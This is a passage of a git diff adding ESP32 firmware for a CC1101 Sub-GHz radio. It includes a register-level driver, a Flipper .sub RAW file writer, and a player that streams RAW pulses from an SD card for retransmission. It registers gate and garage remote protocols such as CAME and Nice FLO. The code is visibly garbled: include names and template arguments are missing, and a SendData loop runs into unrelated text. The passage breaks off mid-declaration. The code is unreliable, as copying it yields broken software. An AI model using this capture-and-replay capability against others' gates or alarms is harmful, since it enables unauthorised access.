+m1PRE[currentModule] = 0; +m1CHSP[currentModule] = 0; +for (bool i = 0; i==0;){ +if (calc >= 128){calc-=128; m1FEC[currentModule]+=128;} +else if (calc >= 16){calc-=16; m1PRE[currentModule]+=16;} +else {m1CHSP[currentModule] = calc; i=1;} +} +} +/**************************************************************** +*FUNCTION NAME:Split MDMCFG2 +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::Split_MDMCFG2(void){ +int calc = SpiReadStatus(18); +m2DCOFF[currentModule] = 0; +m2MODFM[currentModule] = 0; +m2MANCH[currentModule] = 0; +m2SYNCM[currentModule] = 0; +for (bool i = 0; i==0;){ +if (calc >= 128){calc-=128; m2DCOFF[currentModule]+=128;} +else if (calc >= 16){calc-=16; m2MODFM[currentModule]+=16;} +else if (calc >= 8){calc-=8; m2MANCH[currentModule]+=8;} +else{m2SYNCM[currentModule] = calc; i=1;} +} +} +/**************************************************************** +*FUNCTION NAME:Split MDMCFG4 +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::Split_MDMCFG4(void){ +int calc = SpiReadStatus(16); +m4RxBw[currentModule] = 0; +m4DaRa[currentModule] = 0; +for (bool i = 0; i==0;){ +if (calc >= 64){calc-=64; m4RxBw[currentModule]+=64;} +else if (calc >= 16){calc -= 16; m4RxBw[currentModule]+=16;} +else{m4DaRa[currentModule] = calc; i=1;} +} +} +/**************************************************************** +*FUNCTION NAME:RegConfigSettings +*FUNCTION :CC1101 register config //details refer datasheet of CC1101/CC1100// +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::RegConfigSettings(void) +{ + SpiWriteReg(CC1101_FSCTRL1, 0x06); + + setCCMode(ccmode[currentModule]); + setMHZ(MHz[currentModule]); + + SpiWriteReg(CC1101_MDMCFG1, 0x02); + SpiWriteReg(CC1101_MDMCFG0, 0xF8); + SpiWriteReg(CC1101_CHANNR, chan[currentModule]); + SpiWriteReg(CC1101_DEVIATN, 0x47); + SpiWriteReg(CC1101_FREND1, 0x56); + SpiWriteReg(CC1101_MCSM0 , 0x18); + SpiWriteReg(CC1101_FOCCFG, 0x16); + SpiWriteReg(CC1101_BSCFG, 0x1C); + SpiWriteReg(CC1101_AGCCTRL2, 0xC7); + SpiWriteReg(CC1101_AGCCTRL1, 0x00); + SpiWriteReg(CC1101_AGCCTRL0, 0xB2); + SpiWriteReg(CC1101_FSCAL3, 0xE9); + SpiWriteReg(CC1101_FSCAL2, 0x2A); + SpiWriteReg(CC1101_FSCAL1, 0x00); + SpiWriteReg(CC1101_FSCAL0, 0x1F); + SpiWriteReg(CC1101_FSTEST, 0x59); + SpiWriteReg(CC1101_TEST2, 0x81); + SpiWriteReg(CC1101_TEST1, 0x35); + SpiWriteReg(CC1101_TEST0, 0x09); + SpiWriteReg(CC1101_PKTCTRL1, 0x04); + SpiWriteReg(CC1101_ADDR, 0x00); + SpiWriteReg(CC1101_PKTLEN, 0x00); +} +/**************************************************************** +*FUNCTION NAME:SetTx +*FUNCTION :set CC1101 send data +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::SetTx(void) +{ + SpiStrobe(CC1101_SIDLE); + SpiStrobe(CC1101_STX); //start send + trxstate[currentModule]=1; +} +/**************************************************************** +*FUNCTION NAME:SetRx +*FUNCTION :set CC1101 to receive state +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::SetRx(void) +{ + SpiStrobe(CC1101_SIDLE); + SpiStrobe(CC1101_SRX); //start receive + trxstate[currentModule]=2; +} +/**************************************************************** +*FUNCTION NAME:SetTx +*FUNCTION :set CC1101 send data and change frequency +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::SetTx(float mhz) +{ + SpiStrobe(CC1101_SIDLE); + setMHZ(mhz); + SpiStrobe(CC1101_STX); //start send + trxstate[currentModule]=1; +} +/**************************************************************** +*FUNCTION NAME:SetRx +*FUNCTION :set CC1101 to receive state and change frequency +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::SetRx(float mhz) +{ + SpiStrobe(CC1101_SIDLE); + setMHZ(mhz); + SpiStrobe(CC1101_SRX); //start receive + trxstate[currentModule]=2; +} +/**************************************************************** +*FUNCTION NAME:RSSI Level +*FUNCTION :Calculating the RSSI Level +*INPUT :none +*OUTPUT :none +****************************************************************/ +int CC1101_Radio::getRssi(void) +{ +int rssi; +rssi=SpiReadStatus(CC1101_RSSI); +if (rssi >= 128){rssi = (rssi-256)/2-74;} +else{rssi = (rssi/2)-74;} +return rssi; +} +/**************************************************************** +*FUNCTION NAME:LQI Level +*FUNCTION :get Lqi state +*INPUT :none +*OUTPUT :none +****************************************************************/ +byte CC1101_Radio::getLqi(void) +{ +byte lqi; +lqi=SpiReadStatus(CC1101_LQI); +return lqi; +} +/**************************************************************** +*FUNCTION NAME:SetSres +*FUNCTION :Reset CC1101 +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setSres(void) +{ + SpiStrobe(CC1101_SRES); + trxstate[currentModule]=0; +} +/**************************************************************** +*FUNCTION NAME:setSidle +*FUNCTION :set Rx / TX Off +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::setSidle(void) +{ + SpiStrobe(CC1101_SIDLE); + // while (digitalRead(MISO)) { + // vTaskDelay(1); + // }; // Wait until MISO goes low + + trxstate[currentModule]=0; +} +/**************************************************************** +*FUNCTION NAME:goSleep +*FUNCTION :set cc1101 Sleep on +*INPUT :none +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::goSleep(void){ + trxstate[currentModule]=0; + SpiStrobe(0x36);//Exit RX / TX, turn off frequency synthesizer and exit + SpiStrobe(0x39);//Enter power down mode when CSn goes high. +} +/**************************************************************** +*FUNCTION NAME:Char direct SendData +*FUNCTION :use CC1101 send data +*INPUT :txBuffer: data array to send; size: number of data to send, no more than 61 +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::SendData(char *txchar) +{ +int len = strlen(txchar); +byte chartobyte[len]; +for (int i = 0; i sync transmitted + while (digitalRead(GDO0[currentModule])); // Wait for GDO0[currentModule] to be cleared -> end of packet + SpiStrobe(CC1101_SFTX); //flush TXfifo + trxstate[currentModule]=1; +} +/**************************************************************** +*FUNCTION NAME:Char direct SendData +*FUNCTION :use CC1101 send data without GDO +*INPUT :txBuffer: data array to send; size: number of data to send, no more than 61 +*OUTPUT :none +****************************************************************/ +void CC1101_Radio::SendData(char *txchar,int t) +{ +int len = strlen(txchar); +byte chartobyte[len]; +for (int i = 0; i + +//***************************************CC1101 define**************************************************// +// CC1101 CONFIG REGSITER +#define CC1101_IOCFG2 0x00 // GDO2 output pin configuration +#define CC1101_IOCFG1 0x01 // GDO1 output pin configuration +#define CC1101_IOCFG0 0x02 // GDO0 output pin configuration +#define CC1101_FIFOTHR 0x03 // RX FIFO and TX FIFO thresholds +#define CC1101_SYNC1 0x04 // Sync word, high INT8U +#define CC1101_SYNC0 0x05 // Sync word, low INT8U +#define CC1101_PKTLEN 0x06 // Packet length +#define CC1101_PKTCTRL1 0x07 // Packet automation control +#define CC1101_PKTCTRL0 0x08 // Packet automation control +#define CC1101_ADDR 0x09 // Device address +#define CC1101_CHANNR 0x0A // Channel number +#define CC1101_FSCTRL1 0x0B // Frequency synthesizer control +#define CC1101_FSCTRL0 0x0C // Frequency synthesizer control +#define CC1101_FREQ2 0x0D // Frequency control word, high INT8U +#define CC1101_FREQ1 0x0E // Frequency control word, middle INT8U +#define CC1101_FREQ0 0x0F // Frequency control word, low INT8U +#define CC1101_MDMCFG4 0x10 // Modem configuration +#define CC1101_MDMCFG3 0x11 // Modem configuration +#define CC1101_MDMCFG2 0x12 // Modem configuration +#define CC1101_MDMCFG1 0x13 // Modem configuration +#define CC1101_MDMCFG0 0x14 // Modem configuration +#define CC1101_DEVIATN 0x15 // Modem deviation setting +#define CC1101_MCSM2 0x16 // Main Radio Control State Machine configuration +#define CC1101_MCSM1 0x17 // Main Radio Control State Machine configuration +#define CC1101_MCSM0 0x18 // Main Radio Control State Machine configuration +#define CC1101_FOCCFG 0x19 // Frequency Offset Compensation configuration +#define CC1101_BSCFG 0x1A // Bit Synchronization configuration +#define CC1101_AGCCTRL2 0x1B // AGC control +#define CC1101_AGCCTRL1 0x1C // AGC control +#define CC1101_AGCCTRL0 0x1D // AGC control +#define CC1101_WOREVT1 0x1E // High INT8U Event 0 timeout +#define CC1101_WOREVT0 0x1F // Low INT8U Event 0 timeout +#define CC1101_WORCTRL 0x20 // Wake On Radio control +#define CC1101_FREND1 0x21 // Front end RX configuration +#define CC1101_FREND0 0x22 // Front end TX configuration +#define CC1101_FSCAL3 0x23 // Frequency synthesizer calibration +#define CC1101_FSCAL2 0x24 // Frequency synthesizer calibration +#define CC1101_FSCAL1 0x25 // Frequency synthesizer calibration +#define CC1101_FSCAL0 0x26 // Frequency synthesizer calibration +#define CC1101_RCCTRL1 0x27 // RC oscillator configuration +#define CC1101_RCCTRL0 0x28 // RC oscillator configuration +#define CC1101_FSTEST 0x29 // Frequency synthesizer calibration control +#define CC1101_PTEST 0x2A // Production test +#define CC1101_AGCTEST 0x2B // AGC test +#define CC1101_TEST2 0x2C // Various test settings +#define CC1101_TEST1 0x2D // Various test settings +#define CC1101_TEST0 0x2E // Various test settings + +//CC1101 Strobe commands +#define CC1101_SRES 0x30 // Reset chip. +#define CC1101_SFSTXON 0x31 // Enable and calibrate frequency synthesizer (if MCSM0.FS_AUTOCAL=1). + // If in RX/TX: Go to a wait state where only the synthesizer is + // running (for quick RX / TX turnaround). +#define CC1101_SXOFF 0x32 // Turn off crystal oscillator. +#define CC1101_SCAL 0x33 // Calibrate frequency synthesizer and turn it off + // (enables quick start). +#define CC1101_SRX 0x34 // Enable RX. Perform calibration first if coming from IDLE and + // MCSM0.FS_AUTOCAL=1. +#define CC1101_STX 0x35 // In IDLE state: Enable TX. Perform calibration first if + // MCSM0.FS_AUTOCAL=1. If in RX state and CCA is enabled: + // Only go to TX if channel is clear. +#define CC1101_SIDLE 0x36 // Exit RX / TX, turn off frequency synthesizer and exit + // Wake-On-Radio mode if applicable. +#define CC1101_SAFC 0x37 // Perform AFC adjustment of the frequency synthesizer +#define CC1101_SWOR 0x38 // Start automatic RX polling sequence (Wake-on-Radio) +#define CC1101_SPWD 0x39 // Enter power down mode when CSn goes high. +#define CC1101_SFRX 0x3A // Flush the RX FIFO buffer. +#define CC1101_SFTX 0x3B // Flush the TX FIFO buffer. +#define CC1101_SWORRST 0x3C // Reset real time clock. +#define CC1101_SNOP 0x3D // No operation. May be used to pad strobe commands to two + // INT8Us for simpler software. +//CC1101 STATUS REGSITER +#define CC1101_PARTNUM 0x30 +#define CC1101_VERSION 0x31 +#define CC1101_FREQEST 0x32 +#define CC1101_LQI 0x33 +#define CC1101_RSSI 0x34 +#define CC1101_MARCSTATE 0x35 +#define CC1101_WORTIME1 0x36 +#define CC1101_WORTIME0 0x37 +#define CC1101_PKTSTATUS 0x38 +#define CC1101_VCO_VC_DAC 0x39 +#define CC1101_TXBYTES 0x3A +#define CC1101_RXBYTES 0x3B + +//CC1101 PATABLE,TXFIFO,RXFIFO +#define CC1101_PATABLE 0x3E +#define CC1101_TXFIFO 0x3F +#define CC1101_RXFIFO 0x3F + +//************************************* class **************************************************// +class CC1101_Radio +{ +private: + void SpiStart(void); + void SpiEnd(void); + void GDO_Set (void); + void GDO0_Set (void); + void setSpi(void); + void Calibrate(void); + void Split_PKTCTRL0(void); + void Split_PKTCTRL1(void); + void Split_MDMCFG1(void); + void Split_MDMCFG2(void); + void Split_MDMCFG4(void); +public: + void Init(void); + void Reset (void); + void RegConfigSettings(void); + byte SpiReadStatus(byte addr); + void setSpiPin(byte sck, byte miso, byte mosi, byte ss); + void addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul); + void setGDO(byte gdo0, byte gdo2); + void setGDO0(byte gdo0); + void addGDO(byte gdo0, byte gdo2, byte modul); + void addGDO0(byte gdo0, byte modul); + void setModul(byte modul); + void setCCMode(bool s); + void setModulation(byte m); + void setPA(int p); + void setMHZ(float mhz); + void calibrate(); // Perform calibration (uses current MHz[currentModule] and updates modulation from register) + bool waitForCalibration(uint32_t timeoutMs = 100); // Wait for calibration to complete + void setChannel(byte chnl); + void setChsp(float f); + void setRxBW(float f); + void setDRate(float d); + void setDeviation(float d); + void SetTx(void); + void SetRx(void); + void SetTx(float mhz); + void SetRx(float mhz); + int getRssi(void); + byte getLqi(void); + void setSres(void); + void setSidle(void); + void goSleep(void); + void SendData(byte *txBuffer, byte size); + void SendData(char *txchar); + void SendData(byte *txBuffer, byte size, int t); + void SendData(char *txchar, int t); + byte CheckReceiveFlag(void); + byte ReceiveData(byte *rxBuffer); + bool CheckCRC(void); + void SpiStrobe(byte strobe); + void SpiWriteReg(byte addr, byte value); + void SpiWriteBurstReg(byte addr, byte *buffer, byte num); + byte SpiReadReg(byte addr); + void SpiReadBurstReg(byte addr, byte *buffer, byte num); + void setClb(byte b, byte s, byte e); + bool getCC1101(void); + byte getMode(void); + // Returns mode of any module by index (SIDLE=0) + byte getModeForModule(int module) const; + void setSyncWord(byte sh, byte sl); + void setAddr(byte v); + void setWhiteData(bool v); + void setPktFormat(byte v); + void setCrc(bool v); + void setLengthConfig(byte v); + void setPacketLength(byte v); + void setDcFilterOff(bool v); + void setManchester(bool v); + void setSyncMode(byte v); + void setFEC(bool v); + void setPRE(byte v); + void setPQT(byte v); + void setCRC_AF(bool v); + void setAppendStatus(bool v); + void setAdrChk(byte v); + bool CheckRxFifo(int t); + byte getState(); + float getFrequency(); + void selectModule(byte module); +}; + +extern CC1101_Radio cc1101; + +#endif diff --git a/lib/generators/FlipperSubFile.cpp b/lib/generators/FlipperSubFile.cpp new file mode 100644 index 0000000..6f43f32 --- /dev/null +++ b/lib/generators/FlipperSubFile.cpp @@ -0,0 +1,216 @@ +#include "FlipperSubFile.h" + +const std::map FlipperSubFile::presetMapping = { + {"Ook270", "FuriHalSubGhzPresetOok270Async"}, + {"Ook650", "FuriHalSubGhzPresetOok650Async"}, + {"2FSKDev238", "FuriHalSubGhzPreset2FSKDev238Async"}, + {"2FSKDev476", "FuriHalSubGhzPreset2FSKDev476Async"}, + {"Custom", "FuriHalSubGhzPresetCustom"} +}; + +void FlipperSubFile::generateRaw( + File& file, + const std::string& presetName, + const std::vector& customPresetData, + std::stringstream& samples, + float frequency +) { + // Write the header, preset info, and protocol data + writeHeader(file, frequency); + writePresetInfo(file, presetName, customPresetData); + writeRawProtocolData(file, samples); +} + +void FlipperSubFile::generateRaw( + File& file, + const std::string& presetName, + const std::vector& customPresetData, + const std::vector& samples, + float frequency +) { + // Write the header, preset info, and protocol data + writeHeader(file, frequency); + writePresetInfo(file, presetName, customPresetData); + writeRawProtocolData(file, samples); +} + +void FlipperSubFile::writeHeader(File& file, float frequency) { + file.println("Filetype: Flipper SubGhz RAW File"); + file.println("Version: 1"); + file.print("Frequency: "); + file.print(frequency * 1e6, 0); + file.println(); +} + +void FlipperSubFile::writePresetInfo(File& file, const std::string& presetName, const std::vector& customPresetData) { + file.print("Preset: "); + file.println(getPresetName(presetName).c_str()); + + if (presetName == "Custom") { + file.println("Custom_preset_module: CC1101"); + file.print("Custom_preset_data: "); + for (size_t i = 0; i < customPresetData.size(); ++i) { + char hexStr[3]; + sprintf(hexStr, "%02X", customPresetData[i]); + file.print(hexStr); + if (i < customPresetData.size() - 1) { + file.print(" "); + } + } + file.println(); + } +} + +void FlipperSubFile::writeRawProtocolData(File& file, std::stringstream& samples) { + // Try to get string content, but if it fails due to memory, we'll use fallback + std::string streamContent; + try { + streamContent = samples.str(); + } catch (const std::bad_alloc& e) { + ESP_LOGW("FlipperSubFile", "Not enough memory to copy stringstream (bad_alloc), using direct write"); + // Fallback: write directly from stream in small chunks + file.println("Protocol: RAW"); + file.print("RAW_Data: "); + + samples.clear(); + samples.seekg(0, std::ios::beg); + + char buffer[256]; + int wordCount = 0; + int lineBreakCount = 0; + + while (samples.read(buffer, sizeof(buffer) - 1) || samples.gcount() > 0) { + size_t bytesRead = samples.gcount(); + buffer[bytesRead] = '\0'; + + file.print(buffer); + wordCount += bytesRead; + + // Add line breaks every ~4000 chars + if (wordCount > 4000 * (lineBreakCount + 1)) { + file.println(); + file.print("RAW_Data: "); + lineBreakCount++; + } + + if (ESP.getFreeHeap() < 5000) { + ESP_LOGW("FlipperSubFile", "Low heap, stopping"); + break; + } + } + + file.println(); + ESP_LOGI("FlipperSubFile", "Wrote data directly from stream"); + return; + } catch (...) { + ESP_LOGE("FlipperSubFile", "Unknown exception getting stream content"); + file.println(); + return; + } + + // Original implementation for small streams + size_t streamSize = streamContent.size(); + ESP_LOGI("FlipperSubFile", "writeRawProtocolData: stream size=%zu chars", streamSize); + + if (streamSize == 0) { + ESP_LOGW("FlipperSubFile", "Stream is EMPTY!"); + file.println(); + return; + } + + file.println("Protocol: RAW"); + file.print("RAW_Data: "); + + // Write in small chunks + const size_t chunkSize = 256; + size_t written = 0; + int lineBreakCount = 0; + + for (size_t i = 0; i < streamSize; i += chunkSize) { + size_t remaining = streamSize - i; + size_t writeSize = (remaining > chunkSize) ? chunkSize : remaining; + + // Write chunk directly + file.write((const uint8_t*)streamContent.c_str() + i, writeSize); + written += writeSize; + + // Line breaks + if (written > 4000 * (lineBreakCount + 1)) { + file.println(); + file.print("RAW_Data: "); + lineBreakCount++; + } + + if (ESP.getFreeHeap() < 5000) { + ESP_LOGW("FlipperSubFile", "Low heap, stopping at %zu chars", written); + break; + } + } + + file.println(); + ESP_LOGI("FlipperSubFile", "Wrote %zu chars to file", written); +} + +void FlipperSubFile::writeRawProtocolData(File& file, const std::vector& samples) { + file.println("Protocol: RAW"); + file.print("RAW_Data: "); + + if (samples.empty()) { + ESP_LOGW("FlipperSubFile", "Samples vector is EMPTY!"); + file.println(); + return; + } + + ESP_LOGI("FlipperSubFile", "Writing %zu samples directly to file", samples.size()); + + int wordCount = 0; + int lineBreakCount = 0; + char buffer[32]; // Buffer for number formatting + + try { + for (size_t i = 0; i < samples.size(); i++) { + // Format: positive numbers with space, negative with " -" + if (i > 0) { + if (i % 2 == 1) { + file.print(" -"); + } else { + file.print(" "); + } + } + + // Write number directly + int len = sprintf(buffer, "%lu", samples[i]); + file.write((const uint8_t*)buffer, len); + wordCount++; + + // Line breaks every 512 numbers + if (wordCount > 0 && wordCount % 512 == 0) { + file.println(); + file.print("RAW_Data: "); + lineBreakCount++; + } + + // Check heap periodically + if (wordCount % 256 == 0 && ESP.getFreeHeap() < 5000) { + ESP_LOGW("FlipperSubFile", "Low heap, stopping at sample %zu", i); + break; + } + } + } catch (const std::exception& e) { + ESP_LOGE("FlipperSubFile", "Exception during write: %s", e.what()); + } catch (...) { + ESP_LOGE("FlipperSubFile", "Unknown exception during write"); + } + + file.println(); + ESP_LOGI("FlipperSubFile", "Wrote %d samples to file", wordCount); +} + +std::string FlipperSubFile::getPresetName(const std::string& preset) { + auto it = presetMapping.find(preset); + if (it != presetMapping.end()) { + return it->second; + } else { + return "FuriHalSubGhzPresetCustom"; + } +} \ No newline at end of file diff --git a/lib/generators/FlipperSubFile.h b/lib/generators/FlipperSubFile.h new file mode 100644 index 0000000..37a1b2d --- /dev/null +++ b/lib/generators/FlipperSubFile.h @@ -0,0 +1,38 @@ +#ifndef FLIPPER_SUB_FILE_H +#define FLIPPER_SUB_FILE_H + +#include +#include +#include +#include +#include + +class FlipperSubFile { +public: + static void generateRaw( + File& file, + const std::string& presetName, + const std::vector& customPresetData, + std::stringstream& samples, + float frequency + ); + + static void generateRaw( + File& file, + const std::string& presetName, + const std::vector& customPresetData, + const std::vector& samples, + float frequency + ); + +private: + static const std::map presetMapping; + + static void writeHeader(File& file, float frequency); + static void writePresetInfo(File& file, const std::string& presetName, const std::vector& customPresetData); + static void writeRawProtocolData(File& file, std::stringstream& samples); + static void writeRawProtocolData(File& file, const std::vector& samples); + static std::string getPresetName(const std::string& preset); +}; + +#endif // FLIPPER_SUB_FILE_H \ No newline at end of file diff --git a/lib/helpers/StringHelpers.cpp b/lib/helpers/StringHelpers.cpp new file mode 100644 index 0000000..b28cf81 --- /dev/null +++ b/lib/helpers/StringHelpers.cpp @@ -0,0 +1,105 @@ +#include "StringHelpers.h" + +namespace helpers { +namespace string { + +std::string toLowerCase(const std::string &str) +{ + std::string lowerStr = str; + std::transform(lowerStr.begin(), lowerStr.end(), lowerStr.begin(), ::tolower); + return lowerStr; +} + +String toLowerCase(const String &str) +{ + String lowerStr = str; + lowerStr.toLowerCase(); + return lowerStr; +} + +std::string toStdString(const String &str) +{ + return std::string(str.c_str()); +} + +bool endsWith(const std::string& str, const std::string& suffix) +{ + if (suffix.size() > str.size()) return false; + return std::equal(suffix.rbegin(), suffix.rend(), str.rbegin()); +} + +String toArduinoString(const std::string &str) +{ + return String(str.c_str()); +} + +std::string escapeJson(const std::string &input) { + std::ostringstream escaped; + for (size_t i = 0; i < input.length(); ++i) { + unsigned char c = static_cast(input[i]); + switch (c) { + case '"': escaped << "\\\""; break; + case '\\': escaped << "\\\\"; break; + case '\b': escaped << "\\b"; break; + case '\f': escaped << "\\f"; break; + case '\n': escaped << "\\n"; break; + case '\r': escaped << "\\r"; break; + case '\t': escaped << "\\t"; break; + default: + if (c <= 0x1f) { + // Control characters + escaped << "\\u" << std::hex << std::setw(4) << std::setfill('0') << (int)c; + } else if (c >= 0x80) { + // Non-ASCII characters - encode as UTF-8 sequence + if ((c & 0xE0) == 0xC0) { + // 2-byte UTF-8 sequence + if (i + 1 < input.length()) { + unsigned char c2 = static_cast(input[i + 1]); + if ((c2 & 0xC0) == 0x80) { + uint32_t codepoint = ((c & 0x1F) << 6) | (c2 & 0x3F); + escaped << "\\u" << std::hex << std::setw(4) << std::setfill('0') << codepoint; + ++i; // Skip next byte + continue; + } + } + } else if ((c & 0xF0) == 0xE0) { + // 3-byte UTF-8 sequence + if (i + 2 < input.length()) { + unsigned char c2 = static_cast(input[i + 1]); + unsigned char c3 = static_cast(input[i + 2]); + if ((c2 & 0xC0) == 0x80 && (c3 & 0xC0) == 0x80) { + uint32_t codepoint = ((c & 0x0F) << 12) | ((c2 & 0x3F) << 6) | (c3 & 0x3F); + escaped << "\\u" << std::hex << std::setw(4) << std::setfill('0') << codepoint; + i += 2; // Skip next two bytes + continue; + } + } + } + // If we can't decode UTF-8 properly, just escape as raw byte + escaped << "\\u" << std::hex << std::setw(4) << std::setfill('0') << (int)c; + } else { + // Regular ASCII characters + escaped << c; + } + } + } + return escaped.str(); +} + +String generateRandomString(int length) +{ + std::srand(static_cast(std::time(nullptr))); + + const std::string characters = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + + std::stringstream ss; + for (int i = 0; i < length; ++i) { + int randomIndex = std::rand() % characters.size(); + char randomChar = characters[randomIndex]; + ss << randomChar; + } + + return String(ss.str().c_str()); +} +} // namespace string +} // namespace helpers \ No newline at end of file diff --git a/lib/helpers/StringHelpers.h b/lib/helpers/StringHelpers.h new file mode 100644 index 0000000..b61d75b --- /dev/null +++ b/lib/helpers/StringHelpers.h @@ -0,0 +1,26 @@ +#ifndef STRING_HELPERS_H +#define STRING_HELPERS_H + +#include +#include +#include +#include +#include +#include +#include +#include + +namespace helpers { +namespace string { + + String toLowerCase(const String &str); + std::string toLowerCase(const std::string &str); + std::string toStdString(const String &str); + bool endsWith(const std::string& str, const std::string& suffix); + String toArduinoString(const std::string &str); + String generateRandomString(int length); + std::string escapeJson(const std::string &input); +} +} + +#endif // STRING_HELPERS_H \ No newline at end of file diff --git a/lib/subghz/AllProtocols.h b/lib/subghz/AllProtocols.h new file mode 100644 index 0000000..a11ceb8 --- /dev/null +++ b/lib/subghz/AllProtocols.h @@ -0,0 +1,30 @@ +#ifndef All_Protocols_h +#define All_Protocols_h + +#include "protocols/Princeton.h" +#include "protocols/Raw.h" +#include "protocols/BinRAW.h" +#include "protocols/CAME.h" +#include "protocols/NiceFlo.h" +#include "protocols/GateTX.h" +#include "protocols/Holtek.h" +#include "protocols/Honeywell48.h" + +namespace { + struct RegisterAllProtocols { + RegisterAllProtocols() { + SubGhzProtocol::registerProtocol("Princeton", createPrincetonProtocol); + SubGhzProtocol::registerProtocol("RAW", createRawProtocol); + SubGhzProtocol::registerProtocol("BinRAW", createBinRAWProtocol); + SubGhzProtocol::registerProtocol("CAME", createCAMEProtocol); + SubGhzProtocol::registerProtocol("Nice FLO", createNiceFloProtocol); + SubGhzProtocol::registerProtocol("Gate TX", createGateTXProtocol); + SubGhzProtocol::registerProtocol("Holtek", createHoltekProtocol); + SubGhzProtocol::registerProtocol("Honeywell 48bit", createHoneywell48Protocol); + } + }; + + static RegisterAllProtocols registerAllProtocols; +} + +#endif // All_Protocols_h diff --git a/lib/subghz/PulsePayload.h b/lib/subghz/PulsePayload.h new file mode 100644 index 0000000..d142c41 --- /dev/null +++ b/lib/subghz/PulsePayload.h @@ -0,0 +1,44 @@ +#ifndef PULSE_PAYLOAD_H +#define PULSE_PAYLOAD_H + +#include +#include +#include +#include + +class PulsePayload { +public: + PulsePayload() : repeatCount(0), currentIndex(0), currentRepeat(0) {} + PulsePayload(const std::vector>& pulses, uint32_t repeatCount) + : pulses(pulses), repeatCount(repeatCount), currentIndex(0), currentRepeat(0) {} + + bool next(uint32_t& duration, bool& pinState) { + if (currentRepeat >= repeatCount || pulses.empty()) { + return false; + } + + duration = pulses[currentIndex].first; + pinState = pulses[currentIndex].second; + + currentIndex++; + if (currentIndex >= pulses.size()) { + currentIndex = 0; + currentRepeat++; + taskYIELD(); + if (currentRepeat >= repeatCount) { + return false; + } + } + + return true; + } + +private: + std::vector> pulses; + uint32_t repeatCount; + size_t currentIndex; + uint32_t currentRepeat; +}; + + +#endif // PULSE_PAYLOAD_H diff --git a/lib/subghz/StreamingPulsePayload.cpp b/lib/subghz/StreamingPulsePayload.cpp new file mode 100644 index 0000000..22c20f9 --- /dev/null +++ b/lib/subghz/StreamingPulsePayload.cpp @@ -0,0 +1,168 @@ +#include "StreamingPulsePayload.h" + +bool StreamingPulsePayload::init(const char* filePath, uint32_t repeatCnt) { + repeatCount = repeatCnt; + currentRepeat = 0; + parsingLine = false; + currentLinePos = 0; + + file = SD.open(filePath, FILE_READ); + if (!file) { + return false; + } + + // Find RAW_Data section + if (!findRawDataStart()) { + file.close(); + return false; + } + + return true; +} + +bool StreamingPulsePayload::next(uint32_t& duration, bool& pinState) { + // Check if we're done with all repeats + if (currentRepeat >= repeatCount) { + return false; + } + + while (true) { + // If we don't have a line to parse, read next RAW_Data line + if (!parsingLine) { + if (!readNextRawDataLine()) { + // No more RAW_Data lines - check if we need to repeat + currentRepeat++; + if (currentRepeat >= repeatCount) { + return false; + } + + // Seek back to RAW_Data start for next repeat + file.seek(rawDataStartPos); + parsingLine = false; + currentLinePos = 0; + + // Yield to other tasks between repeats + taskYIELD(); + + // Try reading again + if (!readNextRawDataLine()) { + return false; + } + } + } + + // Parse next integer from current line + int32_t value; + if (parseNextIntFromLine(value)) { + if (value != 0) { + duration = abs(value); + pinState = (value > 0); + return true; + } + // Skip zero values + } else { + // No more integers in current line + parsingLine = false; + currentLinePos = 0; + // Loop to read next line + } + } + + return false; +} + +void StreamingPulsePayload::close() { + if (file) { + file.close(); + } +} + +bool StreamingPulsePayload::findRawDataStart() { + // Read file line-by-line until we find first RAW_Data line + while (file.available()) { + size_t lineStart = file.position(); + String line = file.readStringUntil('\n'); + + if (line.startsWith("RAW_Data:")) { + // Found it! Save position and return + rawDataStartPos = lineStart; + file.seek(lineStart); // Seek back to start of this line + return true; + } + } + + return false; +} + +bool StreamingPulsePayload::readNextRawDataLine() { + while (file.available()) { + currentLine = file.readStringUntil('\n'); + + // Remove \r if present + if (currentLine.endsWith("\r")) { + currentLine.remove(currentLine.length() - 1); + } + + // Check if this is a RAW_Data line + if (currentLine.startsWith("RAW_Data:")) { + // Skip "RAW_Data: " prefix + currentLinePos = 9; + while (currentLinePos < currentLine.length() && + isspace(currentLine[currentLinePos])) { + currentLinePos++; + } + + parsingLine = true; + return true; + } + + // If we hit a non-RAW_Data line, we're done with RAW data + if (!currentLine.isEmpty() && !currentLine.startsWith("RAW_Data:")) { + return false; + } + } + + return false; +} + +bool StreamingPulsePayload::parseNextIntFromLine(int32_t& value) { + if (!parsingLine || currentLinePos >= currentLine.length()) { + return false; + } + + // Skip whitespace + while (currentLinePos < currentLine.length() && + isspace(currentLine[currentLinePos])) { + currentLinePos++; + } + + if (currentLinePos >= currentLine.length()) { + return false; + } + + // Check for sign + bool negative = false; + if (currentLine[currentLinePos] == '-') { + negative = true; + currentLinePos++; + } + + // Parse digits + int32_t result = 0; + bool hasDigits = false; + + while (currentLinePos < currentLine.length() && + isdigit(currentLine[currentLinePos])) { + result = result * 10 + (currentLine[currentLinePos] - '0'); + currentLinePos++; + hasDigits = true; + } + + if (!hasDigits) { + return false; + } + + value = negative ? -result : result; + return true; +} + diff --git a/lib/subghz/StreamingPulsePayload.h b/lib/subghz/StreamingPulsePayload.h new file mode 100644 index 0000000..a715019 --- /dev/null +++ b/lib/subghz/StreamingPulsePayload.h @@ -0,0 +1,81 @@ +#ifndef STREAMING_PULSE_PAYLOAD_H +#define STREAMING_PULSE_PAYLOAD_H + +#include +#include +#include + +/** + * Streaming pulse payload - reads RAW data directly from file (minimal RAM!) + * + * Instead of loading entire signal into memory, this class: + * 1. Opens file and finds RAW_Data position + * 2. Reads pulses on-demand during transmission + * 3. Supports repeat by seeking back to RAW_Data start + * + * RAM usage: ~100 bytes (vs ~2KB for vector-based approach!) + */ +class StreamingPulsePayload { 